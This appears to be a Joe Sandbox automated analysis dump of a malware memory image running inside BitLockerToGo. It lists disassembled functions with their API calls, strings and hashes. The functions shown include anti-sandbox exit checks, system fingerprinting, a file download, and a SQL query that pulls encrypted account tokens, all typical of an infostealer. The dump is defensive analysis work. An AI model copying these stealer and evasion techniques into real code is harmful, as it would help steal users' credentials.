Associated: 00000002.00000002.1836232555.000000000308F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003092000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000310F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000311B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000324A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836955286.000000000325C000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3000000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: Heap$EnumFreeOpenProcessValuememsettaskvsprintf_s
String ID: Password
API String ID: 2698061284-3434357891
Opcode ID: 0865515676e9efcef9ed1a5a15e35dce1ca5b0f138fffab9bbf8dcf65a7b65ba
Instruction ID: 8f89c0856a33dc26e1fb937a73baf6b540941d5e47b4e302d318ca857177ff60
Opcode Fuzzy Hash: 0865515676e9efcef9ed1a5a15e35dce1ca5b0f138fffab9bbf8dcf65a7b65ba
Instruction Fuzzy Hash: FF613FB590126C9BEB24DB50DD44BDEB7BCBF44700F0081E9E689AA185DBB46BC5CF90

Function 03017500 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 106memoryCOMMON

Download Yara Rule

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 03017542
GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0301757F
GetProcessHeap.KERNEL32(00000000,00000104), ref: 03017603
RtlAllocateHeap.NTDLL(00000000), ref: 0301760A
wsprintfA.USER32 ref: 03017640

Part of subcall function 0301A740: lstrcpy.KERNEL32(03020AEF,00000000), ref: 0301A788

Strings

C, xrefs: 0301754C
\, xrefs: 03017560
:, xrefs: 0301755C

Memory Dump Source

Source File: 00000002.00000002.1836179324.0000000003000000.00000040.00000400.00020000.00000000.sdmp, Offset: 03000000, based on PE: true

Associated: 00000002.00000002.1836206485.000000000301E000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000302B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000305A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003085000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003088000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000308F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003092000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000310F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000311B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000324A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836955286.000000000325C000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3000000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: Heap$AllocateDirectoryInformationProcessVolumeWindowslstrcpywsprintf
String ID: :$C$\
API String ID: 1544550907-3809124531
Opcode ID: 6d0c35c832915b3ff0150f4c67616605f653501574f7d31594df16de58377466
Instruction ID: d5e11a0a32162399e5e432ab8457d383bd169be3e76c21952bb6af06b6267975
Opcode Fuzzy Hash: 6d0c35c832915b3ff0150f4c67616605f653501574f7d31594df16de58377466
Instruction Fuzzy Hash: E5419FB5D41348ABDB10DF94DC88BEEBBB8EF48704F004098F5096B280D774AB54CBA5

Function 03018100 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 67memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,03555F10,00000000,?,03020E2C,00000000,?,00000000), ref: 03018130
RtlAllocateHeap.NTDLL(00000000), ref: 03018137
GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 03018158
__aulldiv.LIBCMT ref: 03018172
__aulldiv.LIBCMT ref: 03018180
wsprintfA.USER32 ref: 030181AC

Strings

@, xrefs: 0301814D
%d MB, xrefs: 030181A3

Memory Dump Source

Source File: 00000002.00000002.1836179324.0000000003000000.00000040.00000400.00020000.00000000.sdmp, Offset: 03000000, based on PE: true

Associated: 00000002.00000002.1836206485.000000000301E000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000302B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000305A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003085000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003088000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000308F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003092000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000310F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000311B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000324A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836955286.000000000325C000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3000000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: Heap__aulldiv$AllocateGlobalMemoryProcessStatuswsprintf
String ID: %d MB$@
API String ID: 2774356765-3474575989
Opcode ID: 2e994ac6bd63ddc2e5ab8bd573bb2c5b8cf64ee3dbd9508fcb41441fe6628007
Instruction ID: 0bcf428e438c5a2a05856f018c0595376d531cfc3a8b2954185eecd856172946
Opcode Fuzzy Hash: 2e994ac6bd63ddc2e5ab8bd573bb2c5b8cf64ee3dbd9508fcb41441fe6628007
Instruction Fuzzy Hash: A7211DB1E45318ABDB00DFD8DC49FAEB7B8FB44B14F108609F615BB284D77869008BA5

Function 030060A0 Relevance: 13.6, APIs: 9, Instructions: 133networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0301A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0301A7E6

Part of subcall function 030047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 030047EA
Part of subcall function 030047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 03004801
Part of subcall function 030047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 03004818
Part of subcall function 030047B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 03004839
Part of subcall function 030047B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 03004849

InternetOpenA.WININET(03020DF7,00000001,00000000,00000000,00000000), ref: 0300610F
StrCmpCA.SHLWAPI(?,03554CA0), ref: 03006147
InternetOpenUrlA.WININET(00000000,00000000,00000000,00000000,00000100,00000000), ref: 0300618F
CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 030061B3
InternetReadFile.WININET(03012B61,?,00000400,?), ref: 030061DC
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 0300620A
CloseHandle.KERNEL32(?,?,00000400), ref: 03006249
InternetCloseHandle.WININET(03012B61), ref: 03006253
InternetCloseHandle.WININET(00000000), ref: 03006260

Memory Dump Source

Source File: 00000002.00000002.1836179324.0000000003000000.00000040.00000400.00020000.00000000.sdmp, Offset: 03000000, based on PE: true

Associated: 00000002.00000002.1836206485.000000000301E000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000302B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000305A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003085000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003088000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000308F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003092000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000310F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000311B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000324A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836955286.000000000325C000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3000000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: Internet$??2@CloseFileHandle$Open$CrackCreateReadWritelstrcpylstrlen
String ID:
API String ID: 4287319946-0
Opcode ID: a11b519ba27d28d2cd9d5f34dfb90aa3b5e1425fdda4ad1eeb891eff87b90058
Instruction ID: efc4d3d66f8e7ee6d2e7d35744c14f0081378ee97c7b634f3374a5f2ea18abb5
Opcode Fuzzy Hash: a11b519ba27d28d2cd9d5f34dfb90aa3b5e1425fdda4ad1eeb891eff87b90058
Instruction Fuzzy Hash: 6A5163B5A4121CABEB20EF50DD49BEE77B9FB44701F008098E605AB1C0DB756B99CF94

Function 030170D0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 136COMMON

Download Yara Rule

APIs

??_U@YAPAXI@Z.MSVCRT(00064000), ref: 030170DE

Part of subcall function 0301A740: lstrcpy.KERNEL32(03020AEF,00000000), ref: 0301A788

OpenProcess.KERNEL32(001FFFFF,00000000,0301730D,030205BD), ref: 0301711C
memset.MSVCRT ref: 0301716A
??_V@YAXPAX@Z.MSVCRT(?), ref: 030172BE

Strings

65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30, xrefs: 0301718C

Memory Dump Source

Source File: 00000002.00000002.1836179324.0000000003000000.00000040.00000400.00020000.00000000.sdmp, Offset: 03000000, based on PE: true

Associated: 00000002.00000002.1836206485.000000000301E000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000302B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000305A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003085000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003088000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000308F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003092000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000310F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000311B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000324A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836955286.000000000325C000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3000000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: OpenProcesslstrcpymemset
String ID: 65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30
API String ID: 224852652-4138519520
Opcode ID: 7d07c20bc942f6a30969b1fa14942e7d6cc9e7291b533834052a3a3f836d4979
Instruction ID: d8a078e55adf1692d4822f6dcdf6965bd87de2ae884a5f04299643079aa9fab3
Opcode Fuzzy Hash: 7d07c20bc942f6a30969b1fa14942e7d6cc9e7291b533834052a3a3f836d4979
Instruction Fuzzy Hash: 6051C0B4D023189FDB64EB94CC84BEEF7B4AF44704F1440A8E605BB180EB746A99CF58

Function 0300BA80 Relevance: 12.3, APIs: 4, Strings: 4, Instructions: 284stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0301A740: lstrcpy.KERNEL32(03020AEF,00000000), ref: 0301A788

Part of subcall function 0301A9B0: lstrlen.KERNEL32(?,03021110,?,00000000,03020AEF), ref: 0301A9C5
Part of subcall function 0301A9B0: lstrcpy.KERNEL32(00000000), ref: 0301AA04
Part of subcall function 0301A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0301AA12

Part of subcall function 0301A920: lstrcpy.KERNEL32(00000000,?), ref: 0301A972
Part of subcall function 0301A920: lstrcat.KERNEL32(00000000), ref: 0301A982

Part of subcall function 0301A8A0: lstrcpy.KERNEL32(?,03020AEF), ref: 0301A905

Part of subcall function 0301A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0301A7E6

Part of subcall function 03009E10: memcmp.MSVCRT(?,v20,00000003), ref: 03009E2D

lstrlen.KERNEL32(00000000), ref: 0300BC9F

Part of subcall function 03018E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 03018E52

StrStrA.SHLWAPI(00000000,AccountId), ref: 0300BCCD
lstrlen.KERNEL32(00000000), ref: 0300BDA5
lstrlen.KERNEL32(00000000), ref: 0300BDB9

Strings

SELECT service, encrypted_token FROM token_service, xrefs: 0300BBEB
AccountId, xrefs: 0300BCC4
AccountTokens, xrefs: 0300BABA
AccountTokens, xrefs: 0300BB49

Memory Dump Source

Source File: 00000002.00000002.1836179324.0000000003000000.00000040.00000400.00020000.00000000.sdmp, Offset: 03000000, based on PE: true

Associated: 00000002.00000002.1836206485.000000000301E000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000302B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000305A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003085000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003088000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000308F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003092000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000310F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000311B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000324A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836955286.000000000325C000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3000000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat$AllocLocalmemcmp
String ID: AccountId$AccountTokens$AccountTokens$SELECT service, encrypted_token FROM token_service
API String ID: 1440504306-1079375795
Opcode ID: 5cc5171718a3cc1796e4ee7f575b9f149a1332cac6ee7209ce488ec5f102edd3
Instruction ID: b1783d4296291446ab10785157e8cfb1eb71881fd31a4d0beee1098f04d51a52
Opcode Fuzzy Hash: 5cc5171718a3cc1796e4ee7f575b9f149a1332cac6ee7209ce488ec5f102edd3
Instruction Fuzzy Hash: 77B16579A132089BDF08FBA0DD95EEE733DAF94210F404159F506AB090EF74AA59CB60

Function 030169F0 Relevance: 10.6, APIs: 7, Instructions: 89sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 03019860: GetProcAddress.KERNEL32(75550000,03543038), ref: 030198A1
Part of subcall function 03019860: GetProcAddress.KERNEL32(75550000,03543050), ref: 030198BA
Part of subcall function 03019860: GetProcAddress.KERNEL32(75550000,03543068), ref: 030198D2
Part of subcall function 03019860: GetProcAddress.KERNEL32(75550000,03543080), ref: 030198EA
Part of subcall function 03019860: GetProcAddress.KERNEL32(75550000,03543098), ref: 03019903
Part of subcall function 03019860: GetProcAddress.KERNEL32(75550000,035430B0), ref: 0301991B
Part of subcall function 03019860: GetProcAddress.KERNEL32(75550000,03544358), ref: 03019933
Part of subcall function 03019860: GetProcAddress.KERNEL32(75550000,03544378), ref: 0301994C
Part of subcall function 03019860: GetProcAddress.KERNEL32(75550000,03544398), ref: 03019964
Part of subcall function 03019860: GetProcAddress.KERNEL32(75550000,035443B0), ref: 0301997C
Part of subcall function 03019860: GetProcAddress.KERNEL32(75550000,035443C8), ref: 03019995
Part of subcall function 03019860: GetProcAddress.KERNEL32(75550000,035404B0), ref: 030199AD
Part of subcall function 03019860: GetProcAddress.KERNEL32(75550000,035404C8), ref: 030199C5
Part of subcall function 03019860: GetProcAddress.KERNEL32(75550000,03547338), ref: 030199DE

Part of subcall function 0301A740: lstrcpy.KERNEL32(03020AEF,00000000), ref: 0301A788

Part of subcall function 030011D0: CreateDCA.GDI32(03540598,00000000,00000000,00000000), ref: 030011E2
Part of subcall function 030011D0: GetDeviceCaps.GDI32(?,0000000A), ref: 030011F1
Part of subcall function 030011D0: ReleaseDC.USER32(00000000,?), ref: 03001200
Part of subcall function 030011D0: ExitProcess.KERNEL32 ref: 03001211

Part of subcall function 03001160: GetSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,03016A17,03020AEF), ref: 0300116A
Part of subcall function 03001160: ExitProcess.KERNEL32 ref: 0300117E

Part of subcall function 03001110: GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000,?,?,03016A1C), ref: 0300112B
Part of subcall function 03001110: VirtualAllocExNuma.KERNEL32(00000000,?,?,03016A1C), ref: 03001132
Part of subcall function 03001110: ExitProcess.KERNEL32 ref: 03001143

Part of subcall function 03001220: GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 0300123E
Part of subcall function 03001220: __aulldiv.LIBCMT ref: 03001258
Part of subcall function 03001220: __aulldiv.LIBCMT ref: 03001266
Part of subcall function 03001220: ExitProcess.KERNEL32 ref: 03001294

Part of subcall function 03016770: GetUserDefaultLangID.KERNEL32(?,?,03016A26,03020AEF), ref: 03016774

GetUserDefaultLCID.KERNEL32 ref: 03016A26

Part of subcall function 03001190: ExitProcess.KERNEL32 ref: 030011C6

Part of subcall function 03017850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,030011B7), ref: 03017880
Part of subcall function 03017850: RtlAllocateHeap.NTDLL(00000000), ref: 03017887
Part of subcall function 03017850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 0301789F

Part of subcall function 030178E0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,03016A2B), ref: 03017910
Part of subcall function 030178E0: RtlAllocateHeap.NTDLL(00000000), ref: 03017917
Part of subcall function 030178E0: GetComputerNameA.KERNEL32(?,00000104), ref: 0301792F

Part of subcall function 0301A9B0: lstrlen.KERNEL32(?,03021110,?,00000000,03020AEF), ref: 0301A9C5
Part of subcall function 0301A9B0: lstrcpy.KERNEL32(00000000), ref: 0301AA04
Part of subcall function 0301A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0301AA12

Part of subcall function 0301A8A0: lstrcpy.KERNEL32(?,03020AEF), ref: 0301A905

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,03540578,?,0302110C,?,00000000,?,03021110,?,00000000,03020AEF), ref: 03016ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 03016AE8
CloseHandle.KERNEL32(00000000), ref: 03016AF9
Sleep.KERNEL32(00001770), ref: 03016B04
CloseHandle.KERNEL32(?,00000000,?,03540578,?,0302110C,?,00000000,?,03021110,?,00000000,03020AEF), ref: 03016B1A
ExitProcess.KERNEL32 ref: 03016B22

Memory Dump Source

Source File: 00000002.00000002.1836179324.0000000003000000.00000040.00000400.00020000.00000000.sdmp, Offset: 03000000, based on PE: true

Associated: 00000002.00000002.1836206485.000000000301E000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000302B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000305A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003085000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003088000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000308F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003092000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000310F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000311B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000324A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836955286.000000000325C000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3000000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: AddressProc$Process$Exit$Heap$Userlstrcpy$AllocateCloseCreateDefaultEventHandleName__aulldiv$AllocCapsComputerCurrentDeviceGlobalInfoLangMemoryNumaOpenReleaseSleepStatusSystemVirtuallstrcatlstrlen
String ID:
API String ID: 1606067472-0
Opcode ID: 6e7d67cf0844da383eb64f5836bd18c652214b3fc83e2130bdb6fe7dc9389618
Instruction ID: 24cf14554e2dc68f88a174027bbea19407cf804055aaf3b3ad434639696a3e9b
Opcode Fuzzy Hash: 6e7d67cf0844da383eb64f5836bd18c652214b3fc83e2130bdb6fe7dc9389618
Instruction Fuzzy Hash: 16311E79A43308ABDB08F7F0ED55BEE7778AF84750F404518E512AA180DFB06555CAA1

Function 030183DC Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64registrystringCOMMON

Download Yara Rule

APIs

RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 03018426
wsprintfA.USER32 ref: 03018459
RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 0301847B
RegCloseKey.ADVAPI32(00000000), ref: 0301848C
RegCloseKey.ADVAPI32(00000000), ref: 03018499

Part of subcall function 0301A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0301A7E6

RegQueryValueExA.KERNEL32(00000000,03555DA8,00000000,000F003F,?,00000400), ref: 030184EC
lstrlen.KERNEL32(?), ref: 03018501
RegQueryValueExA.KERNEL32(00000000,03555E68,00000000,000F003F,?,00000400,00000000,?,?,00000000,?,03020B34), ref: 03018599
RegCloseKey.KERNEL32(00000000), ref: 03018608
RegCloseKey.ADVAPI32(00000000), ref: 0301861A

Strings

%s\%s, xrefs: 0301844D

Memory Dump Source

Source File: 00000002.00000002.1836179324.0000000003000000.00000040.00000400.00020000.00000000.sdmp, Offset: 03000000, based on PE: true

Associated: 00000002.00000002.1836206485.000000000301E000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000302B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000305A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003085000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003088000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000308F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003092000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000310F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000311B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031C5000.00000040.00000400.00020000.00000000.sdmpDownload File
